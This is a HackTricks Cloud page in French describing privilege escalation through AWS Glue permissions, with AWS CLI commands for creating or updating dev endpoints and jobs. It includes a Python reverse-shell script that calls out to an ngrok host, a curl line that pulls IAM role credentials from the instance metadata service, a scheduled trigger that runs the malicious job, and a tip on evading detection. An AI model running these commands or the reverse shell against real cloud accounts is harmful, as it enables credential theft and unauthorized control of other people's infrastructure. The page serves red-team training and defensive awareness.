AWS - Glue Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Les utilisateurs disposant de ces autorisations peuvent mettre en place un nouvel endpoint de développement AWS Glue, attribuer à cet endpoint un rÎle de service existant assumable par Glue avec des autorisations spécifiques.
AprĂšs la configuration, lâattaquant peut se connecter en SSH Ă lâinstance de lâendpoint, et voler les identifiants IAM du rĂŽle assignĂ©:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Pour des raisons de discrĂ©tion, il est recommandĂ© dâutiliser les identifiants IAM depuis lâintĂ©rieur de la machine virtuelle Glue.
Potential Impact: Privesc to the glue service role specified.
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Les utilisateurs disposant de cette permission peuvent modifier la clĂ© SSH dâun endpoint de dĂ©veloppement Glue existant, permettant lâaccĂšs SSH Ă celui-ci. Cela permet Ă un attaquant dâexĂ©cuter des commandes avec les privilĂšges du rĂŽle attachĂ© Ă lâendpoint :
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Potential Impact: Privesc sur le rÎle de service glue utilisé.
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
Les utilisateurs disposant de iam:PassRole combinĂ© avec soit glue:CreateJob or glue:UpdateJob, et soit glue:StartJobRun or glue:CreateTrigger, peuvent crĂ©er ou mettre Ă jour un AWS Glue job, y attacher nâimporte quel Glue service account, et lancer lâexĂ©cution du job. Les capacitĂ©s du job incluent lâexĂ©cution de code Python arbitraire, qui peut ĂȘtre exploitĂ© pour Ă©tablir un reverse shell. Ce reverse shell peut ensuite ĂȘtre utilisĂ© pour exfiltrer les IAM credentials du rĂŽle attachĂ© au job Glue, conduisant Ă un accĂšs non autorisĂ© potentiel ou Ă des actions basĂ©es sur les permissions de ce rĂŽle:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
Impact potentiel : Privesc sur le rÎle de service glue spécifié.
glue:UpdateJob
Avec seulement lâautorisation update, un attaquant pourrait voler les IAM Credentials du rĂŽle dĂ©jĂ attachĂ©.
Impact potentiel : Privesc sur le rÎle de service glue attaché.
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

